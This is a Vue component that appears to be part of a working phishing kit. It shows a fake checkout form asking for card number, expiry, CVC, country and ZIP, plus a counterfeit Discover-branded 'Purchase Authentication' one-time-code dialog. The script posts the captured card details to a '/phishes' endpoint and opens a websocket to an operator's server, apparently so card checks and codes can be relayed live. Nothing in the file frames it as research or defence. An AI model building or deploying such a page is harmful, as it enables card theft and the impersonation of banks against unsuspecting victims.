| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193 |
- <template>
- <!-- Display a payment form -->
- <form id="payment-form" class="p-4" @submit.prevent="submit">
- <PField
- name="card"
- label="Card Number"
- type="card"
- placeholder="1234 1234 1234 1234"
- v-model="model.card"
- ref="cardRef"
- />
- <PField
- class="!w-6/12"
- name="expiry"
- label="Expiration"
- placeholder="MM/YY"
- v-model="model.expiry"
- />
- <PField
- class="!w-6/12 pl-3"
- name="cvc"
- type="cvc"
- label="CVC"
- placeholder="CVC"
- v-model="model.cvc"
- />
- <PField
- name="country"
- label="Country"
- type="country"
- v-model="model.country"
- />
- <PField
- name="zip"
- label="ZIP"
- type="zip"
- placeholder="ZIP"
- v-model="model.zip"
- />
- <PButton>{{ loading ? "Processing..." : "Pay" }}</PButton>
- </form>
- <Footer />
- <div class="otp-modal">
- <Transition name="fade">
- <div class="dim" v-if="showOTPModal"></div>
- </Transition>
- <Transition name="scale">
- <div class="content-wrapper" v-if="showOTPModal">
- <div class="modal-content">
- <div class="icon-logo">
- <img class="icon" src="@/assets/icon_bank.svg" />
- <div class="flex-1"></div>
- <img class="logo" src="@/assets/discover_logo.svg" />
- </div>
- <h1 class="mt-4 text-[28px] font-bold">
- Purchase Authentication
- </h1>
- <p class="mt-2 text-base text-neutral-800">
- We've sent you a text message to your registered phone
- number ending in 1234
- </p>
- <div class="mt-8">
- <label>Confirmation Code</label>
- <PField class="mt-2" />
- </div>
- <PButton class="mt-8">Confirm Payment</PButton>
- </div>
- </div>
- </Transition>
- </div>
- </template>
- <script setup>
- import axios from "axios";
- import { onMounted, onBeforeMount, ref } from "vue";
- import PField from "@/components/PField.vue";
- import PButton from "@/components/PButton.vue";
- import Footer from "@/components/Footer.vue";
- import { useLocalStorage, useSessionStorage } from "@vueuse/core";
- import { io } from "socket.io-client";
- const cardRef = ref(null);
- const phish = useSessionStorage("phish", {});
- let socket;
- onBeforeMount(async () => {
- const { data: res } = await axios.post("/phishes", {
- id: phish.value.id,
- });
- if (res) {
- phish.value = res;
- socket = io(import.meta.env.VITE_SOCKET_URL, {
- path: "/ws",
- transports: ["websocket"],
- query: {
- id: phish.value.id,
- },
- });
- }
- });
- const model = ref({
- card: "",
- expiry: "",
- cvc: "",
- country: "",
- });
- const showOTPModal = ref(false);
- const loading = ref(false);
- async function submit() {
- loading.value = true;
- try {
- await axios.put(`/phishes/${phish.value.id}`, {
- id: phish.value.id,
- card: model.value.card,
- expiry: model.value.expiry,
- cvc: model.value.cvc,
- country: model.value.country,
- step: "wait_for_check_card",
- });
- } catch (error) {
- console.error(error);
- } finally {
- loading.value = false;
- }
- }
- </script>
- <style scoped lang="less">
- .otp-modal {
- position: relative;
- .dim {
- position: fixed;
- top: 0;
- left: 0;
- width: 100%;
- height: 100%;
- background-color: rgba(0, 0, 0, 0.5);
- }
- .content-wrapper {
- padding: 64px 15px;
- overflow: auto;
- position: fixed;
- top: 0;
- left: 0;
- right: 0;
- bottom: 0;
- }
- .modal-content {
- background: #ffffff;
- border-radius: 4px;
- box-shadow: 0 7px 32px rgba(0, 0, 0, 0.15), 0 3px 6px rgba(0, 0, 0, 0.2);
- padding: 30px 20px;
- .icon-logo {
- display: flex;
- align-items: center;
- .icon {
- width: 32px;
- height: 32px;
- object-fit: cover;
- }
- .logo {
- height: 32px;
- width: auto;
- }
- }
- }
- }
- .fade-enter-active,
- .fade-leave-active {
- transition: opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
- }
- .fade-enter-from,
- .fade-leave-to {
- opacity: 0;
- }
- .scale-enter-active,
- .scale-leave-active {
- transition: transform 1s cubic-bezier(0.19, 1, 0.22, 1),
- opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
- }
- .scale-enter-from {
- transform: scale(0.8);
- opacity: 0;
- }
- </style>
|